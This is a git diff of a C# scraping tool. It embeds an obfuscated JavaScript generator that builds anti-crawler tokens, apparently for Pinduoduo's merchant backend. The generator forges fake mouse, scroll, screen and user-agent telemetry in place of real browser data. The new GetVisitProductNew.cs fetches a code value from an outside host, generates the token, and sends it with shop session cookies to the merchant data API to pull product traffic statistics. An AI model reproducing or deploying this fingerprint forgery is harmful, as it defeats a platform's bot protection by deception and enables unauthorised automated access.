""wrjDgyXCoQzCuSDCvDrCjQ=="", ""NcK8w5ZgGMK0"", ""GsKKwoLCqg=="", ""wqABwr/DoA=="", ""PcO+wrARwpxSVA8="", ""RsOSwqLDiBpgVlnCoQ=="", ""wpd7PxnDk0zDig=="", ""UcOXwqbDiAdgbw=="", ""w5IQVUVPwp4KNcOF"", ""w7t3NMKJw4wc"", ""WMOXw4twccKU"", ""VMOUwr3DqAh3Xw=="", ""w71UwrLCgw=="", ""wpcbc8KL"", ""w4DCvU3ChA=="", ""AXYzHwbDoMKjBwE="", ""w40JLsKDZilbw6de"", ""w5rDm8Kyw63DqA=="", ""w48ebsKt"", ""w4/Dj8ODCH8Bwp9lwpTDqHnDiA=="", ""woUSwq7Drg=="", ""w6zDl8OnwrfCmsOGw7vCjiM="", ""wqvCssOWVsK/"", ""woVKSSEg"", ""w6XCk8KYXUwd"", ""AMOIwqMVwps="", ""M8KDwpHDkcKr"", ""SsKdVl97"", ""wpk5wo3DvsKz"", ""w7QyY8KcHcObI8O7Nw=="", ""wpXDrUfCqMOn"", ""w5vDgljDhGM="", ""w5bDu8OCI0g="", ""wpPChMO5U8KT"", ""wrZAZDo+"", ""ZMODw6VPwoc="", ""w5IVZU1E"", ""w4fDhMOjwrHCjw=="", ""wpM6V8K8NQ=="", ""wrLCmsOxw5Mw"", ""MsKWwrbDoMKtEsKYwolzw68="", ""wpxtcA8c"", ""w4w5dMKYW8O9K8O4AMKtZsKiw4PCrQ=="", ""eWdYw4Id"", ""wqjCtMOXdMK6HsKKwqk="", ""wpMRwrPCr8Kb"", ""DmwcLi4="", ""w7pEwqPCj10OL8O9JQ=="", ""w7/CqsKne1A="", ""EXnCuw58"", ""MMK0Z8KrGV9Sw7MSAnA="", ""w7DDk8OlwpHCsQ=="", ""Y8Oiwr/DiBo="", ""w63Dg8OlwrvCj8Oww6bChSUq"", ""CHvCpxFZ"", ""Z8OiY8Ojw7I="", ""w4rCucKXTCggWMKlw6tfwqE="", ""wpIHwpvCqMKC"", ""CGx4EWbCtE47B8K3"", ""BcKbccK6CA=="", ""w4fCrgstw7HDscOFOcOcwpzDnA=="", ""NlNbDEA="", ""KsKmWMKhBw=="", ""w4cwwoYtCEJqVw=="", ""JVIAAjQ="", ""YsKxeXN3"", ""JWxqEnHCkQ=="", ""w5rCrMKiR30="", ""w5bCuSoZw44="", ""w6hMwqjCnw=="", ""QcKNY1NM"", ""J8OLwqY0wqo="", ""woRfXBkC"", ""w5PDvMOGwqbCqQ=="", ""w7rDusKZw5HDmQ=="", ""w5PClcOODsOrWsOnR8Ka"", ""wptcwqjChsOe"", ""NcO+wr4xwp1PVAxJw4XCmRvDtg=="", ""OiHDhMK4Rw=="", ""G11uB3o="", ""Pl1aEl3DjERYBTfDq1nCkMO/w61rw5YEEsO1LUhI"", ""DsKLRMK2Pw=="", ""KMK0wrHDlMKv"", ""w6gywoE4CUJ8SsKY"", ""wqLCvMOQYg=="", ""w7jDvkLDpFg="", ""w5DCq8KoRjY="", ""w7EuaMKNFMOGNMOuNg=="", ""w69Iwq/Cjw=="", ""w5TDjsOkE3gLwplx"", ""wqvDkDTCpAHCjSw="", ""WG4qJAA="", ""UMOqfsOHw6htwoHDqg=="", ""wrXCssO1acK6"", ""CmzCvCp6RXNGPw=="", ""w7lOwpLCn10ON8O/"", ""w6jCjycIw59SDCU="", ""wozDuDrDjmQcRQ=="", ""w4zDnUDDuWI="", ""w6N9CcKaw4odb3w="", ""w7LDmsOkwrnClMOJw7w="", ""wrDCucOLYcK/GcKX"", ""Ik7CvQt5"", ""w7tzNMKJw40VZn7DqA=="", ""N316EEs="", ""w6F3NMKKw5cG"", ""wplYGz/Dng=="", ""w67ChRoYw4hJBzA="", ""w7xQF8KPw4g="", ""w4BOwqXCjl0JMMOiJQ=="", ""w63DjsOTAngMwp5swpI="", ""w77CpDkJw4Q="", ""w4nCv8OhKcO6"", ""wp3DtTjDjWga"", ""w4MtYcKuCg=="", ""w57CqHLCscKj"", ""HHkkNRfDp8KdEArDsHfDt8ORw54="", ""HW1HIFo="", ""E1VeMG0=""]; + n = x, + e = 144, + function (t) { + for (; --t;) + n.push(n.shift()) + }(++e); + var v = function t(n, r) { + var e, i = x[n -= 0]; + void 0 === t.lJIuYf && ((e = function () { + var t; + t = Function('return (function() {}.constructor(""return this"")( ));')() + return t + }()).atob || (e.atob = function (t) { + for (var n, r, e = String(t).replace(/=+$/, """"), i = 0, a = 0, o = """"; r = e.charAt(a++); ~r && (n = i % 4 ? 64 * n + r : r, + i++ % 4) ? o += String.fromCharCode(255 & n >> (-2 * i & 6)) : 0) + r = ""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="".indexOf(r); + return o + } + ), + t.AORwNS = function (t, n) { + for (var r, e = [], i = 0, a = """", o = """", s = 0, u = (t = atob(t)).length; s < u; s++) + o += ""%"" + (""00"" + t.charCodeAt(s).toString(16)).slice(-2); + t = decodeURIComponent(o); + for (var c = 0; c < 256; c++) + e[c] = c; + for (c = 0; c < 256; c++) + i = (i + e[c] + n.charCodeAt(c % n.length)) % 256, + r = e[c], + e[c] = e[i], + e[i] = r; + c = 0, + i = 0; + for (var f = 0; f < t.length; f++) + i = (i + e[c = (c + 1) % 256]) % 256, + r = e[c], + e[c] = e[i], + e[i] = r, + a += String.fromCharCode(t.charCodeAt(f) ^ e[(e[c] + e[i]) % 256]); + return a + } + , + t.nOVpLu = {}, + t.lJIuYf = !0); + var a = t.nOVpLu[n]; + return void 0 === a ? (void 0 === t.WFZsOE && (t.WFZsOE = !0), + i = t.AORwNS(i, r), + t.nOVpLu[n] = i) : i = a, + i + } + , p = v(""0x0"", ""Tadf"") + , b = ""id"" + , m = v(""0x1"", ""LLNV"") + , C = v(""0x2"", ""FL7b"") + , D = v(""0x3"", ""bYZs"") + , O = v(""0x4"", ""tUJV"") + , k = v(""0x5"", ""mneL"") + , y = v(""0x6"", ""$r!N"") + , K = v(""0x7"", ""EAU$"") + , z = v(""0x8"", ""[lxN"") + , A = v(""0x9"", ""Qi9n"") + , M = v(""0xa"", ""$9hj"") + , B = v(""0xb"", ""2sLW"") + , L = v(""0xc"", ""Z)hI"") + , j = v(""0xd"", ""uTFP"") + , S = v(""0xe"", ""([hh"") + , T = v(""0xf"", ""lY!1"") + , H = v(""0x10"", ""([hh"") + , V = v(""0x11"", "")bxT"") + , Y = v(""0x12"", ""LLNV"") + , q = v(""0x13"", ""%ilK"") + , N = v(""0x14"", ""([hh"") + , R = v(""0x15"", ""F9Y)"") + , Q = v(""0x16"", ""kniu"") + , U = v(""0x17"", ""#drv"") + , E = 0 + , P = void 0 + , F = void 0 + , I = 5 + , W = function () { + } + , Z = void 0 + , J = void 0 + , G = void 0 + , X = void 0 + , $ = void 0; + if ((""undefined"" == typeof window ? ""undefined"" : i(window)) !== v(""0x18"", ""eVth"")) + for (var tt = v(""0x19"", ""kniu"")[v(""0x1a"", ""mneL"")](""|""), nt = 0; ;) { + switch (tt[nt++]) { + case ""0"": + G = window[v(""0x1b"", ""[lxN"")]; + continue; + case ""1"": + $ = v(""0x1c"", ""3[uW"") in Z[K]; + continue; + case ""2"": + X = window[v(""0x1d"", ""Z)hI"")]; + continue; + case ""3"": + Z = window; + continue; + case ""4"": + J = window[v(""0x1e"", ""Dw*Y"")]; + continue + } + break + } + + function rt(t) { + var n = {}; + return n[v(""0x80"", ""RiN%"")] = v(""0x81"", ""3[uW""), + l[n[v(""0x82"", ""*DN5"")]](t[Y])[q](t) + } + + function et(t, n) { + var r = {}; + if (r[v(""0x83"", ""3ZGO"")] = function (t, n) { + return t < n + } + , + r[v(""0x84"", ""mneL"")] = function (t, n) { + return t - n + } + , + r[v(""0x85"", ""oRuw"")](t[U][Y], I)) { + var e = n || Z[v(""0x86"", ""VYg*"")] + , i = e[p][b] || """" + , a = {}; + if (a[V] = i, + a[S] = r[v(""0x87"", ""$9hj"")](G[m](), E), + $) { + var o = e[v(""0x88"", ""@!cA"")]; + o && o[Y] && (a[H] = o[0][H], + a[T] = o[0][T]) + } else + a[H] = e[H], + a[T] = e[T]; + t[U][R](a) + } + } + + var it = {}; + it[v(""0x89"", ""VYg*"")] = function () { + this[U] = [{ + 'clientX': 1348, + 'clientY': 232, + 'elementId': """", + 'timestamp': 66336 + }] + } + , + it[v(""0x8a"", ""EAU$"")] = function (t) { + if (function (t, n) { + return t < I + }(this[U][Y])) { + var n = t || Z.event + , r = n[p][b] || """" + , e = {}; + e[V] = r, + e[H] = n[H], + e[T] = n[T], + e[S] = function (t, n) { + return t - n + }(G[m](), E), + this[U][R](e) + } + } + , + it[v(""0x8b"", ""@!cA"")] = function () { + var t = [][q](l.es(""db"")); + return this[U][N](function (n) { + t = t[q](l.en(n[H]), l.en(n[T]), l.es(n[V]), l.en(n[S])) + }), + rt(t) + } + ; + var at = {}; + at[v(""0x8c"", ""$Dwv"")] = function () { + this[U] = [{ + 'clientX': 1348, + 'clientY': 232, + 'elementId': """", + 'timestamp': 66270 + }] + } + , + at[v(""0x8d"", ""V[H)"")] = function (t) { + et(this, t) + } + , + at[v(""0x8e"", ""LLNV"")] = function () { + var t = [][q](l.es(""wt"")); + return this[U][N](function (n) { + t = t[q](l.en(n[H]), l.en(n[T]), l.es(n[V]), l.en(n[S])) + }), + rt(t) + } + ; + var ot = {}; + ot[v(""0x8f"", ""8@%Y"")] = function () { + this[U] = [] + } + , + ot[v(""0x90"", ""4c^x"")] = function (t) { + et(this, t) + } + , + ot[v(""0x91"", ""#drv"")] = function () { + var t = [][q](l.es(""tw"")); + return this[U][N](function (n) { + t = t[q](l.en(n[H]), l.en(n[T]), l.es(n[V]), l.en(n[S])) + }), + rt(t) + } + ; + var st = {}; + st[v(""0x92"", ""CSRW"")] = function () { + this[U] = [{ + scrollTop: 11101.599609375, + timestamp: 6939703 + }, + { + scrollTop: 16000.7998046875, + timestamp: 7225567 + }, + { + scrollTop: 16015.2001953125, + timestamp: 7225583 + }, + { + scrollTop: 16059.2001953125, + timestamp: 7225600 + }, + { + scrollTop: 1316136.7998046875, + timestamp: 7225617 + } + ]; + } + , + st[v(""0x93"", ""BHlB"")] = function () { + if (function (t, n) { + return t < I + }(this[U][Y])) { + var t = {}; + t.scrollTop = document.documentElement.scrollTop || document.body.scrollTop, + t[S] = function (t, n) { + return t - n + }(G[m](), E), + this[U][R](t) + } + } + , + st[v(""0x94"", ""D&%)"")] = function () { + var t = [][q](l.es(""zc"")); + return this[U][N](function (n) { + t = t[q](l.en(n.scrollTop), l.en(n[S])) + }), + rt(t) + } + ; + var ut = {}; + ut[v(""0x95"", ""V[H)"")] = function () { + this[U] = {}, + this[U][L] = href, + this[U][B] = """" + } + , + ut[v(""0x96"", ""oRuw"")] = function () { + return this[Q](), + rt([][q](l.es(""kf""), l.es(this[U][L]), l.es(this[U][B]))) + } + ; + var ct = {}; + ct[v(""0x97"", ""[PtG"")] = function () { + this[U] = {}, + this[U][A] = 1536, + this[U][z] = 824 + } + , + ct[v(""0x98"", ""k24J"")] = function () { + return rt([][q](l.es(""lh""), l.en(this[U][z]), l.en(this[U][A]))) + } + ; + var ft = {}; + ft[v(""0x99"", ""4e!e"")] = function () { + var X = Math; + var t = function (t, n) { + return t(n) + }; + this[U] = function (t, n) { + return t + n + }(function (t, n, r) { + return t(n, r) + }(parseInt, t(String, function (t, n) { + return t * n + }(X[O](), function (t, n) { + return t + n + }(X[D](2, 52), 1))), 10), function (t, n, r) { + return t(n, r) + }(parseInt, t(String, function (t, n) { + return t * n + }(X[O](), function (t, n) { + return t + n + }(X[D](2, 30), 1))), 10)) + ""-"" + P + } + , + ft[v(""0x9a"", ""[PtG"")] = function () { + return this[Q](), + rt([][q](l.es(""ie""), l.es(this[U]))) + } + ; + var ht = {}; + ht[v(""0x9b"", ""LLNV"")] = function () { + this[U] = 2048; + } + , + ht[v(""0x9c"", ""3[uW"")] = function () { + return rt([][q](l.es(""hb""), l.en(this[U]))) + } + ; + var wt = {}; + wt[v(""0x9d"", ""Z)hI"")] = function () { + this[U] = a(href ? href : """") + } + , + wt[v(""0x9e"", ""4e!e"")] = function () { + return rt([][q](l.es(""ml""), l.es(this[U]))) + } + ; + var lt = {}; + lt[v(""0x9f"", ""vLQ#"")] = function () { + var t = v(""0xa0"", ""^Xgu""); + this[U] = 1 ? ""y"" : ""n"" + } + , + lt[v(""0xa1"", ""$Sz1"")] = function () { + return rt([][q](l.es(""qc""), l.es(this[U]))) + } + ; + var dt = {}; + dt[v(""0xa2"", ""[lxN"")] = function () { + var t = v(""0xa3"", ""Dw*Y""); + this[U] = 1 ? ""y"" : ""n"" + } + , + dt[v(""0xa4"", "")bxT"")] = function () { + return rt([][q](l.es(""za""), l.es(this[U]))) + } + ; + var _t = {}; + _t[v(""0xa5"", ""!9C8"")] = function () { + this[U] = Date[m]() - F + } + , + _t[v(""0x9c"", ""3[uW"")] = function () { + return this[Q](), + rt([][q](l.es(""xq""), l.en(this[U]))) + } + ; + var xt = {}; + xt[v(""0xa6"", ""%ilK"")] = function () { + var t = v(""0xa7"", ""$r!N""); + this[U] = ""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36"" + } + , + xt[v(""0xa8"", ""FL7b"")] = function () { + return rt([][q](l.es(""te""), l.es(this[U]))) + } + ; + var gt = {}; + + function vt() { + [ct, ht, wt, lt, dt, xt, gt, st, at, ot, it][N](function (t) { + t[Q]() + }) + } + + function pt() { + var t = {}; + t[v(""0xad"", ""c^rz"")] = v(""0xae"", ""dxe$""), + t[v(""0xaf"", ""lY!1"")] = v(""0xb0"", ""!9C8""), + t[v(""0xb1"", ""LLNV"")] = v(""0xb2"", "")bxT""), + t[v(""0xb3"", ""!9C8"")] = v(""0xb4"", ""$9hj"") + } + + function bt() { + [st, at, ot, it][N](function (t) { + t[U] = (t[U] || [])[v(""0xb9"", ""^Xgu"")](-1) + }) + } + + function mt() { + var t = {}; + if (t[v(""0xba"", ""eVth"")] = function (t, n) { + return t > n + } + , + t[v(""0xbb"", ""[lxN"")] = function (t, n) { + return t - n + } + , + $) { + var n = document[v(""0xbc"", ""EAU$"")][v(""0xbd"", ""@SYC"")] || document[v(""0xbe"", ""3[uW"")][v(""0xbf"", ""V[H)"")]; + return t[v(""0xc0"", ""FL7b"")](n, 0) ? (st[U] = [{ + scrollTop: n, + timestamp: t[v(""0xc1"", ""LLNV"")](G[m](), E) + }], + st[v(""0xc2"", ""V[H)"")]()) : [] + } + return st[v(""0xa8"", ""FL7b"")]() + } + + function Ct() { + var t, n = {}; + n[v(""0xc3"", ""[PtG"")] = function (t) { + return t() + } + , + n[v(""0xc4"", ""$Sz1"")] = v(""0xc5"", ""lY!1""), + n[v(""0xc6"", ""$Sz1"")] = function (t) { + return t() + } + , + n[v(""0xc7"", ""oRuw"")] = function (t, n, r) { + return t(n, r) + } + , + n[v(""0xc8"", "")bxT"")] = function (t, n) { + return t < n + } + , + n[v(""0xc9"", ""$9hj"")] = function (t, n) { + return t === n + } + , + n[v(""0xca"", ""Dw*Y"")] = function (t, n) { + return t > n + } + , + n[v(""0xcb"", ""*B)d"")] = function (t, n) { + return t <= n + } + , + n[v(""0xcc"", ""LLNV"")] = function (t, n) { + return t - n + } + , + n[v(""0xcd"", ""([hh"")] = function (t, n) { + return t << n + } + , + n[v(""0xce"", ""$Dwv"")] = function (t, n) { + return t > n + } + , + n[v(""0xcf"", ""[PtG"")] = function (t, n) { + return t - n + } + , + n[v(""0xd0"", ""dxe$"")] = function (t, n) { + return t << n + } + , + n[v(""0xd1"", ""@SYC"")] = v(""0xd2"", ""EAU$""), + n[v(""0xd3"", ""$r!N"")] = function (t, n) { + return t + n + } + , + n[v(""0xd4"", ""$9hj"")] = v(""0xd5"", ""dxe$""), + n[v(""0xd6"", "")bxT"")] = v(""0xd7"", ""2sLW""); + var r = (t = [])[q].apply(t, [n[v(""0xd8"", ""3[uW"")](mt), $ ? ot[v(""0xd9"", ""eVth"")]() : at[v(""0xa4"", "")bxT"")](), it[v(""0x9a"", ""[PtG"")](), ut[v(""0xda"", ""^Xgu"")](), ct[v(""0xd9"", ""eVth"")](), ft[v(""0xa1"", ""$Sz1"")](), ht[v(""0xdb"", ""Tadf"")](), wt[v(""0x9e"", ""4e!e"")](), lt[v(""0x96"", ""oRuw"")](), dt[v(""0xdc"", ""uTFP"")](), _t[v(""0xdb"", ""Tadf"")](), xt[v(""0xdd"", ""BHlB"")]()].concat(function (t) { + if (Array.isArray(t)) { + for (var n = 0, r = Array(t.length); n < t.length; n++) + r[n] = t[n]; + return r + } + return c(t) + }(gt[v(""0xdb"", ""Tadf"")]()))); + n[v(""0xdf"", ""dxe$"")](bt); + for (var e = r[Y][v(""0xe0"", ""tUJV"")](2)[v(""0xe1"", ""[PtG"")](""""), i = 0; n[v(""0xe2"", ""#drv"")](e[Y], 16); i += 1) + e[v(""0xe3"", ""V[H)"")](""0""); + e = e[v(""0xe4"", ""BHlB"")](""""); + var a = []; + n[v(""0xe5"", ""[lxN"")](r[Y], 0) ? a[R](0, 0) : n[v(""0xe6"", ""vLQ#"")](r[Y], 0) && n[v(""0xe7"", ""ewXa"")](r[Y], n[v(""0xe8"", ""@SYC"")](n[v(""0xe9"", ""dxe$"")](1, 8), 1)) ? a[R](0, r[Y]) : n[v(""0xea"", ""k24J"")](r[Y], n[v(""0xeb"", ""[lxN"")](n[v(""0xec"", ""@!cA"")](1, 8), 1)) && a[R](n[v(""0xed"", ""kniu"")](parseInt, e[C](0, 8), 2), n[v(""0xee"", ""D&%)"")](parseInt, e[C](8, 16), 2)), + r = [][q]([1], [0, 0, 0], a, r); + var s = o[n[v(""0xef"", ""4c^x"")]](r) + , u = [][v(""0xf0"", ""4c^x"")][v(""0xf1"", ""dxe$"")](s, function (t) { + return String[n[v(""0xf2"", ""%ilK"")]](t) + }); + return n[v(""0xf3"", ""dxe$"")](n[v(""0xf4"", ""eVth"")], l[n[v(""0xf5"", ""eVth"")]](u[v(""0xe4"", ""BHlB"")](""""))) + } + + function Dt() { + var t = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {} + , n = {}; + n[v(""0xf6"", ""RiN%"")] = function (t, n) { + return t !== n + } + , + n[v(""0xf7"", ""CSRW"")] = v(""0xf8"", ""$Sz1""), + n[v(""0xf9"", ""[lxN"")] = function (t) { + return t() + } + , + n[v(""0xfa"", ""kniu"")](""object"", n[v(""0xfb"", ""4c^x"")]) && (this[v(""0xfc"", ""lY!1"")](Date.now()), + E = Date[m](), + n[v(""0xfd"", ""4e!e"")](vt), + n[v(""0xfe"", ""#drv"")](pt)) + } + + gt[v(""0xa9"", ""#drv"")] = function () { + this[U] = d() + } + , + gt[v(""0xaa"", ""8@%Y"")] = function () { + var t = this + , n = v(""0xab"", ""$9hj"") + , r = v(""0xac"", ""^Xgu"") + , e = [] + , i = {}; + return i[n] = ""ys"", + i[r] = ""ut"", + Object.keys(this[U])[N](function (n) { + var r = [][q](l.es(i[n]), l.es(t[U][n])); + e[R](function (t, n) { + return t(n) + }(rt, r)) + }), + e + } + , + Dt[v(""0xff"", ""%ilK"")][v(""0x100"", ""@!cA"")] = function (t) { + F = Date[m](), + P = t + } + , + Dt[v(""0x101"", ""dxe$"")][Q] = W, + Dt[v(""0x102"", ""VYg*"")][v(""0x103"", ""2sLW"")] = W, + Dt[v(""0x104"", ""Tadf"")][v(""0x105"", ""F9Y)"")] = function () { + var t = {}; + return t[v(""0x106"", ""VYg*"")] = function (t) { + return t() + } + , + t[v(""0x107"", ""CSRW"")](Ct) + } + , + Dt[v(""0x108"", ""([hh"")][v(""0x109"", ""*B)d"")] = function () { + var t = {}; + t[v(""0x10a"", ""Tadf"")] = function (t, n) { + return t(n) + } + , + t[v(""0x10b"", ""oRuw"")] = function (t) { + return t() + }; + + return t[v(""0x10d"", ""V[H)"")](Ct); + }; + + return new Dt; + })(); // 5 + + return f_main.messagePackSync(); +} +get_anti();"; + #endregion + + } + +} diff --git a/Work/CollectClass/GetVisitProductNew.cs b/Work/CollectClass/GetVisitProductNew.cs new file mode 100644 index 0000000..0e9c700 --- /dev/null +++ b/Work/CollectClass/GetVisitProductNew.cs @@ -0,0 +1,3547 @@ +using System; +using System.Threading; +using AllBase; +using Work.Api; + +namespace Work.CollectClass +{ + public class GetVisitProductNew + { + public string Name; + public ShopChatBase Shop; + public bool ReplaceModel = false; + public bool isOnline = false; + public GetVisitProductNew(string name, ShopChatBase shop) + { + Name = name; + Shop = shop; + } + + public void Get() + { + Shop.Visit.Clear(); + if (string.IsNullOrEmpty(PinduoduoAuth.strContent)) + { + //string path = AppDomain.CurrentDomain.BaseDirectory + "crawlerInfoInterface.js"; + PinduoduoAuth.strContent = strJs;//FileBase.ReadAllText(path); + } + string strTime = BaseClass.GetTime(DateTime.Now).ToString() + "000"; + string str = ""; + for (int i = 0; i < 16; i++) + { + str += new Random(Guid.NewGuid().GetHashCode()).Next(9); + } + string strToken = str + "-" + strTime; + string strNumber = ""; + string temp2 = strTime + "," + strToken + "," + strNumber; + if (string.IsNullOrEmpty(NoCode)) + { + string htmlx = GetHtml.Gbk("http://nano.qixiaoke.com/nano.txt"); + NoCode = BaseRegex.GetMatchRegexString(ref htmlx, @"([\w\W]+?)-----"); + } + string fun2 = string.Format(@"getEncode('{0}','{1}','{2}')", strTime, NoCode, ""); + string codex = UploadPinduoduoSet.ExecuteScript(fun2, PinduoduoAuth.strContent); + string cookies = Shop.Cookies; + string url = "https://mms.pinduoduo.com/sydney/api/goodsDataShow/detailList"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string data = "{\"orderBy\":\"pay_ord_cnt\",\"orderStrategy\":\"DESC\",\"pageNumber\":1,\"pageSize\":10,\"crawlerInfo\":\""+ codex + "\",\"spanDays\":" + UploadPinduoduoMain.Days + ",\"readyDate\":\"" + BaseClass.GetServerTimeString().AddDays(-1).ToString("yyyy-MM-dd") + "\"}"; + string html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, cookies); + int allCount = BaseRegex.GetIntJson(ref html, "total"); + int page = allCount / 10 + (allCount % 10 > 0 ? 1 : 0); + + for (int i = 1; i <= page; i++) + { + if (i != 1) + { + strTime = BaseClass.GetTime(DateTime.Now).ToString() + "000"; + if (string.IsNullOrEmpty(NoCode)) + { + string htmlx = GetHtml.Gbk("http://nano.qixiaoke.com/nano.txt"); + NoCode = BaseRegex.GetMatchRegexString(ref htmlx, @"([\w\W]+?)-----"); + } + fun2 = string.Format(@"getEncode('{0}','{1}','{2}')", strTime, NoCode, ""); + codex = UploadPinduoduoSet.ExecuteScript(fun2, PinduoduoAuth.strContent); + //strTime = BaseClass.GetTime(DateTime.Now).ToString() + "000"; + //str = ""; + //for (int ii = 0; ii < 16; ii++) + //{ + // str += new Random(Guid.NewGuid().GetHashCode()).Next(9); + //} + //strToken = str + "-" + strTime; + //strNumber = ""; + //temp2 = strTime + "," + strToken + "," + strNumber; + //fun2 = string.Format(@"getEncode('{0}','{1}','{2}')", strTime, strToken, strNumber); + //codex = UploadPinduoduoSet.ExecuteScript(fun2, PinduoduoAuth.strContent); + data = "{\"orderBy\":\"pay_ord_cnt\",\"orderStrategy\":\"DESC\",\"pageNumber\":" + i + ",\"pageSize\":10,\"crawlerInfo\":\"" + codex + "\",\"spanDays\":" + UploadPinduoduoMain.Days + ",\"readyDate\":\"" + BaseClass.GetServerTimeString().AddDays(-1).ToString("yyyy-MM-dd") + "\"}"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + } + var m = BaseRegex.GetMatchRegex(ref html, @"\{([^\}]+?)\}"); + for (int j = 0; m != null && j < m.Count; j++) + { + string list = m[j].Groups[0].Value; + ProductVisitBase p = new ProductVisitBase(); + p.Id = BaseRegex.GetLongJson(ref list, "goodsId"); + p.GoodsSn = BaseRegex.GetLongJson(ref list, "goodsSn"); + p.OrderCount = BaseRegex.GetIntJson(ref list, "payOrderCount"); + p.Title = BaseRegex.GetStringJson(ref list, "goodsName"); + p.Uv = BaseRegex.GetIntJson(ref list, "goodsUv"); + p.Pv = BaseRegex.GetIntJson(ref list, "goodsPv"); + p.UvAvgPay = BaseRegex.GetDecimalJson(ref list, "avgGoodsVcr"); + p.SoldCount = BaseRegex.GetIntJson(ref list, "payOrderCount"); + if (ReplaceModel) + { + var pt = Shop.OnlineProduct.Find(op =>op!=null && op.GoodsId == p.Id); + if (pt != null) + { + pt.Pv = p.Pv; + if (UploadPinduoduoMain.VisitCount <= pt.Pv) + { + pt.Message = "流量较大跳过"; + Shop.OnlineProduct.Remove(pt); + LogSave.Add(Name, "移除流量较大 " + pt.GoodsId ); + } + UploadPinduoduoMain.ProductReplaceTemp.Add(pt); + } + } + Shop.Visit.Add(p); + } + LogSave.Add(Name, "获取 " + Shop.ShopName + " 流量:" + i); + Thread.Sleep(100); + } + + } + + public void GetOnOrOff() + { + //Shop.Visit.Clear(); + if (string.IsNullOrEmpty(PinduoduoAuth.strContent)) + { + //string path = AppDomain.CurrentDomain.BaseDirectory + "crawlerInfoInterface.js"; + PinduoduoAuth.strContent = strJs;//FileBase.ReadAllText(path); + } + string strTime = BaseClass.GetTime(DateTime.Now).ToString() + "000"; + if (string.IsNullOrEmpty(NoCode)) + { + string htmlx = GetHtml.Gbk("http://nano.qixiaoke.com/nano.txt"); + NoCode = BaseRegex.GetMatchRegexString(ref htmlx, @"([\w\W]+?)-----"); + } + string fun2 = string.Format(@"getEncode('{0}','{1}','{2}')", strTime, NoCode, ""); + //string fun2 = string.Format(@"getEncode('{0}','{1}','{2}')", strTime, "", "https://mms.pinduoduo.com/sydney/api/goodsDataShow/detailList"); + string codex = UploadPinduoduoSet.ExecuteScript(fun2, PinduoduoAuth.strContent); + string cookies = Shop.Cookies; + string url = "https://mms.pinduoduo.com/sydney/api/goodsDataShow/detailList"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string data = "{\"orderBy\":\"pay_ord_cnt\",\"orderStrategy\":\"DESC\",\"pageNumber\":1,\"pageSize\":10,\"crawlerInfo\":\"" + codex + "\",\"spanDays\":" + UploadPinduoduoMain.Days + ",\"readyDate\":\"" + BaseClass.GetServerTimeString().AddDays(-1).ToString("yyyy-MM-dd") + "\"}"; + string html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, cookies); + int allCount = BaseRegex.GetIntJson(ref html, "total"); + int page = allCount / 10 + (allCount % 10 > 0 ? 1 : 0); + + for (int i = 1; i <= page; i++) + { + if (i != 1) + { + data = "{\"orderBy\":\"pay_ord_cnt\",\"orderStrategy\":\"DESC\",\"pageNumber\":" + i + ",\"pageSize\":10,\"spanDays\":" + UploadPinduoduoMain.Days + ",\"readyDate\":\"" + BaseClass.GetServerTimeString().AddDays(-1).ToString("yyyy-MM-DD") + "\"}"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + } + var m = BaseRegex.GetMatchRegex(ref html, @"\{([^\}]+?)\}"); + for (int j = 0; m != null && j < m.Count; j++) + { + string list = m[j].Groups[0].Value; + ProductVisitBase p = new ProductVisitBase(); + p.Id = BaseRegex.GetLongJson(ref list, "goodsId"); + p.GoodsSn = BaseRegex.GetLongJson(ref list, "goodsSn"); + p.OrderCount = BaseRegex.GetIntJson(ref list, "payOrderCount"); + p.Title = BaseRegex.GetStringJson(ref list, "goodsName"); + p.Uv = BaseRegex.GetIntJson(ref list, "goodsUv"); + p.Pv = BaseRegex.GetIntJson(ref list, "goodsPv"); + p.UvAvgPay = BaseRegex.GetDecimalJson(ref list, "avgGoodsVcr"); + p.SoldCount = BaseRegex.GetIntJson(ref list, "payOrderCount"); + if (ReplaceModel) + { + var pt = Shop.OnOrOffProduct.Find(op => op != null && op.GoodsId == p.Id); + if (pt != null) + { + pt.Pv = p.Pv; + if (UploadPinduoduoMain.VisitCount <= pt.Pv) + { + pt.Message = "流量较大跳过"; + Shop.OnOrOffProduct.Remove(pt); + LogSave.Add(Name, "移除流量较大 " + pt.GoodsId); + } + //UploadPinduoduoMain.ProductOnOrOffTemp.Add(pt); + } + } + //Shop.Visit.Add(p); + } + LogSave.Add(Name, "获取 " + Shop.ShopName + " 流量:" + i); + Thread.Sleep(100); + } + DelGroupStatus del = new DelGroupStatus(); + del.shopName = Shop.ShopName; + del.goodStatus = "商品获取完成"; + del.count = 0; + UploadPinduoduoMain.delGroupStatusList.Add(del); + } + + public static string NoCode = ""; + public void GetOnOrOffIds() + { + if (string.IsNullOrEmpty(PinduoduoAuth.strContent)) + { + //string path = AppDomain.CurrentDomain.BaseDirectory + "crawlerInfoInterface.js"; + PinduoduoAuth.strContent = strJs;//FileBase.ReadAllText(path); + } + string strTime = BaseClass.GetTime(DateTime.Now).ToString() + "000"; + if (string.IsNullOrEmpty(NoCode)) + { + string htmlx = GetHtml.Gbk("http://nano.qixiaoke.com/nano.txt"); + NoCode = BaseRegex.GetMatchRegexString(ref htmlx, @"([\w\W]+?)-----"); + } + string fun2 = string.Format(@"getEncode('{0}','{1}','{2}')", strTime, NoCode, ""); + string codex = UploadPinduoduoSet.ExecuteScript(fun2, PinduoduoAuth.strContent); + string cookies = Shop.Cookies; + string url = "https://mms.pinduoduo.com/sydney/api/goodsDataShow/detailList"; + string refere = "https://mms.pinduoduo.com/sycm/goods_effect"; + string data = "{\"orderBy\":\"pay_ord_cnt\",\"orderStrategy\":\"DESC\",\"pageNumber\":1,\"pageSize\":10,\"crawlerInfo\":\"" + codex + "\",\"spanDays\":" + UploadPinduoduoMain.Days + ",\"readyDate\":\"" + BaseClass.GetServerTimeString().AddDays(-1).ToString("yyyy-MM-dd") + 